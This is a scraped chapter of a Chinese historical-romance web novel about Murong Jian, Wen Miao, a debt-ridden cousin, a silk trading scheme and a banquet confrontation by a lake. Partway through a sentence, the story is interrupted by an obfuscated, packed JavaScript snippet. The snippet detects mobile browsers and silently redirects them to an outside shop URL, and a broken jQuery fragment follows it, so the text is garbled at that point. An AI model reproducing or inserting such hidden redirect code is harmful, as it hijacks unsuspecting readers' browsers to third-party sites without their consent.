小童如临大赦,惶恐告退。

    慕容蒹拉着闻缪进屋,点燃烛芯,暖黄光源渗散,照亮整间屋子。

    温馨的氛围里,她坐在桌边,看着闻缪。

    好像与他在一起,就没那么烦躁,时光宁静,淡泊如水。

    “我睡不着。”她靠在凭几里,斜倚着身子,明亮的眸子里隐射着烛火的燎动。

    扇子被闻缪握在手心,他微微侧着身子,摇曳竹柄。

    丝丝凉意袭来,慕容蒹慵懒躺着。

    想起他身上还有伤,不好劳动病号,爬起来,动手动脚就要扯闻缪的衣服。

    “怎么了?”闻缪懵然不知,睁着一双无辜的眼睛。

    看着那双宛如小兽受惊的眼神,慕容蒹心里的作恶欲一下子涌了上来,邪笑地扒开他的衣襟,执拗地说:“让我看看。”

    “不行的,这不合礼数。”闻缪捉住她不安分的小手,站起身来,板起脸凶巴巴地阻止她。

    她哦了一声,看着被自己扯得松垮的衣服,不甘心地说:“我想看好得怎么样了。”

    那么长一道疤,就算是愈合了,也会成为抹不掉的疤痕。

    “闻哥哥,我是担心你。”

    “那也不能随意扯别人的衣服,尤其是......”

    男人的衣服......,闻缪戛然而止,话到嘴边忽然住口,羞涩脸红。

    “那我不扒衣服就是了,好歹让我知道伤口好了没有。”慕容蒹认真地说,虔诚的没有一丝私心。

    闻缪向来百依百顺,除非做得过分,什么事都能答应。

    他解了腰带,撩开衣衫,露出单薄的后背。

    如玉雕琢的肌肤上,有手指长的疤痕。她抚摸着那道骇人的伤痕,第一次感到愤怒。

    她愤怒是因为该死的山贼让闻缪受了伤,更深层次的原因,这道伤痕是为别的女子而伤的。

    她突然意识到,闻缪这人什么都好,完全是少女眼中的完美丈夫。

    可是这份好,从来不不独属于她一人。

    闻缪的好,是不分彼此的。在她看来,有点中央空调的属性。

    不分轻重,以至于给了别人示好的假象。

    就算闻缪与高月燕是清白的,她始终心有芥蒂。

    她切身体会到了嫉妒与吃醋的感觉,原来她已经很喜欢闻缪了。

    “阿奴?”闻缪保持着姿势不变,她久久没反应,闻缪疑惑到出口询问。

    “没什么。”意识到自己失态,慕容蒹回过神,“伤口都结痂了。”

    看着这道伤疤,慕容蒹心情复杂,几乎是脱口而出,“高月燕还好么?”

    “提她作甚么?”闻缪穿好衣衫,回转过身,拥她入怀。

    “我听说她在关外,你与她见面了么?”被闻缪抱着,闻着药香味,她心猿意马地说。

    “见了。”闻缪撩起她的发,反复嗅闻。

    “你跟她......”

    实在不知该怎么开口,她这么问是对闻缪的不信任,更是对这份感情的质疑。

    “什么都没有。”闻缪揽着她的腰,箍人箍得紧。慕容蒹有些喘不过气,她心里稍稍放松,又不想争风吃醋,“闻哥哥,我不是怀疑你。”

    “阿奴放心,闻缪此生绝不会负你。”闻缪郑重发誓,想起还有麻烦事要处理,需要早些歇息。

    但闻缪知道,是他行迹可疑,让她生疑了。

    他处事不够妥善,松开手,面对面地说:“时候不早了,早些安置吧,明早我还要出去一趟。”

    知道他事务繁忙,慕容蒹不好过多打扰,她来找闻缪也不只是为了盘问这么简单,提点道:“就是我那位表弟,叫衡儿的那个。”

    “我使了点手段,让他吃了点苦头。他要是求到你跟前,你可千万别答应他。”

    “阿奴不说,我也知道该怎么做。”

    夜已深,折腾大半夜,慕容蒹打了鼾声,道了两声晚安,出了房门。

    一觉睡醒,天微微亮,闻缪洗漱完,用过早馔,吩咐管家多往慕容蒹屋中置备冰盆。

    拾掇完一切,闻缪到铺子里查看账簿,管事准备好东西,就等闻缪过目。

    衡儿见了人,如见救星,抱着闻缪的大腿哭诉。

    “求表哥救我。”

    闻缪放下账本,无奈一笑,“你先起来。”

    衡儿死活不肯放手,硬要闻缪点头答应,“我这条性命全都仰仗表哥了,表哥一定要救我。”

    “你好手好脚的,张嘴救命,闭嘴救我,是谁欺负了你?”闻缪任他抱着,奈何抽不开身。

    “......是......”衡儿难以启齿,更怕闻缪责怪,“是我欠了外债,债主要拿我的手抵偿。可是我还有爹娘要养活,我还没有成亲,不能失去一只手,求表哥可怜可怜我......”

    衡儿哭得死去活来的,涕泗横流。

    “你在外欠了多少钱?”衡儿说了一个数,铺子里的人倒抽一口凉气。闻缪没给好脸,翻看账本,上写衡儿预支工钱的记账,“这些都是你借的?”

    管家这时插话,“都是衡儿预支的薪水,小姐吩咐了,这些都是要还的。”

    “你也是走投无路,才求到我跟前的。”闻缪定定地说,看着跪在地上的衡儿,“我即便有心帮你,一时也拿不出这么多钱出来。”

    衡儿瘫软在地,顿觉无望。闻缪这时又说:“与其做一个杂工,不如与我到关外做生意,也好避避风头,你觉得呢?”

    “谢谢表哥,谢谢表哥!”衡儿邦邦磕头,感激不尽。

    眼下,除了躲出去没别的法子了。有次下了工,回府的路上,那花萼楼的打手堂而皇之的警告他,要是再不还钱,他们可就要报官了。

    他现在身无分文,就算是去偷去抢,他也没这个胆子。

    更不敢溜回老家连累爹娘,衡儿现在是穷途末路,只能是一条白绫勒死自个儿。

    俗话说,父母在世,做子女的只要平平安安不惹事就好了。现下惹出这等祸事,衡儿自觉没脸,也不敢教爹娘知道。

    人是混帐了点,起码的良知还在的。

    这厢料理完,管事的说从关外带回的那批丝绸料子,销路不畅,至今还未卖出去。

    关外的丝绸从成品货色来看,算不上上乘,只是从手法技艺来说,扎染的工序,比汉人先进不少。

    何况东市就有卖的,不足为奇。

    处理完铺子里的事,田庄那边有消息传来,今年稻谷苍盛,估摸着会有好收成。妇人们养育的家蚕吐丝,有大批的丝织布匹等着闻缪去收购。

    以往都是田庄将布匹与收成一起送过来,奈何今年大旱,收成就晚了些。

    闻缪此去田庄,一是采买,二十将布匹运送出关外,用蛮人技艺再行织造。

    这还是阿奴交给他的法子,说大牌都是从关外重新包装,换个名字就成了新款。

    虽然这个方法的可行度有待考究,眼下为了能让巫寿等人顺理成章进入都城,这是唯一的办法了。

    从都城出发,到达田庄,忙完一切,已经是天黑。

    衡儿有负债压身,一路上没抱病喊痛,倒也老实。

    马不停

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556234|202516||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    蹄赶路,风吹日晒,衡儿有苦说不出。

    终于抵达地方,闻缪与巫寿接头,是在雨母山的山脚下的小屋里。

    他将巫寿所要的路引给了对方,连带着几车的丝织品,交给了巫寿。

    巫寿心领神会,摇身一变,变成了贩卖丝绸的丝绸商人。

    闻缪从都城带来的丝绸,经过吐谷浑心灵手巧的女匠人染旧做新,成了靓丽的新花样。

    高月燕美其名曰在外为太后寻访寿礼,带着那批以蛮人技艺染就的工艺品,带回了都城。

    先是在太尉府的端午节礼上,当着众人的面,将工艺品送给了世子妃。

    一传十十传百,那批丝绸供不应求,每日采买的人,踏破了慕容府成衣铺的门槛。

    闻缪年轻能干,都城有不少人家夸耀,眼见着慕容蒹与闻缪一日好过一日,世子妃邀众贵女府中小聚。

    说是小聚,其实是坐在一起,附庸风雅,喝着冰酪,谈谈闲话罢了。

    慕容蒹不爱这种场合,又不好拒绝,只能硬着头皮参与。

    这次聚会,世子妃邀请了不少人,高家的高月燕、高惜蕊,新州韩氏韩月言、韩梦,以及王昌盛、韩煊、高岳文等人。

    韩月言母亲高宁与高月燕父亲高澹一母同胞,两家是正儿八经的亲戚关系,也难怪有人时常将两人拿出来比较。

    身为此次宴会的东道主,箫珊珊自然乐在其中。不过,世孙箫珊珊不忘被慕容蒹冒犯之仇,趁慕容蒹起身走动的时候,悄悄跟了出去。

    慕容蒹没让香芸跟着,就是怕被人偷袭的时候,没人通风报信。

    她和香芸打好招呼,如果半刻钟不见回来,就找世子妃。

    太尉府修建阔绰,四面抄手游廊,环绕着湖心。府中有通天的抱厦一座,一栋修炼的庙宇,供老夫人修生养性。

    左右观光着湖面,前后有丫鬟围了上来,一时间前进两难。

    一回头,箫珊珊得逞一笑,挽起袖子,挑眉地道:“这回你可逃不了了。”

    慕容蒹叹气,心内鄙夷。

    早知道有这么一天,她就该不来的。

    “箫小姐,别来无恙。”人在屋檐下,就得低头,人多势众,小心为上准没错。

    “少来这套。当初羞辱我的时候,本小姐可是一点没忘,现在落到我手里,你就是后悔得吐血也没这个机会了。”箫珊珊洋洋得意,身边的贵女附和道:“快给世孙道歉——”

    慕容蒹耐着性子解释:“在宫里的时候,我已经道歉了。箫小姐,你还要我怎样?”

    “冒犯了我,就想着轻易了事,没那么容易。”箫珊珊面露促狭笑意,“你给我听好了,你给我跪下来,说你错了,本小姐就原谅你。”

    太欺负人了,饶是好脾气的慕容蒹不得不忍耐。箫羽欺负她的时候,她还可以肆无忌惮的反击回去。

    可是箫珊珊是女子,不好拿捏分寸,慕容蒹只能说:“箫小姐,一定要如此么?”

    “当然。”箫珊珊冷笑。

    慕容蒹妥协叹气,“我可以道歉,但绝不跪你。”

    “休想——”萧珊珊横眉立竖。

    贵女见她不肯下跪,推搡着她。慕容蒹被推得趔趄,差点摔倒。

    他强任他强,清风拂山岗。远处香芸带着人来救她了,世子妃连同高月燕还有箫羽等人,远远的从湖面的另一头赶过来。[1]

    隔山打牛的时候到了,慕容蒹阴恻恻一笑,能抓几个是几个,抓住几人的袖子紧紧不放。

    她看着萧珊珊瞪大的眼神,纵身往湖心一跃,阴森一笑,“抱歉。”